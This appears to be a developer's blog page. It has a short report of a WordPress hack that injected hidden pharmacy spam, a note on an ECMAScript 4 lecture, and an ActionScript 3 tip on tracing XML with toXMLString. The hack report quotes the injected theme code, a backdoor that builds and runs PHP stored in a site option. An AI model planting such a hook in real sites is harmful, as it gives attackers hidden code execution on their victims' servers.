Hacked
This site got hacked. Hidden ads for Lorazepam - which means I get bumped from Google for a month. Arghh. Offending code was
< ?php $wp_headers() ?> and
< ?php /* Don't remove this line. */ wp_head(); $wp_headers = create_function('', get_option("blog_headers")); ?>
In header.php in my theme directory.
Anyway - changed passwords, etc. Now hopefully the spam comments will stop. We’ll see how the new captcha works
AS4, ES4
Colin Moock posted his “What’s new in ECMA Script 4” lecture. Looks great. Personally, I can’t wait for array types and overloaded methods. I guess there’s no guarantee that Flash will support all the new functionality, but that would be my guess.
Official (40p) pdf of the ECMA spec here.
toXMLString
File this under either RTFM or “can I get that hour of my life back”, maybe both. To trace xml that is simple (e.g., one node), you need to use toXMLString.
public var myXML:XML =<root>
<item id=’1′/>
<item id=’2′/>
<item id=’2′/></root>
public function init(): void {
trace(myXML);
trace(’*************@mID_n==2**************’);
trace(myXML.item.(@id==2));//traces 2 nodes
trace(’************@mID_n==1***************’);
trace(myXML.item.(@id==1));//traces nothing
trace(’***************************’);
trace(myXML.item.(@id==1).toXMLString());//traces the node
}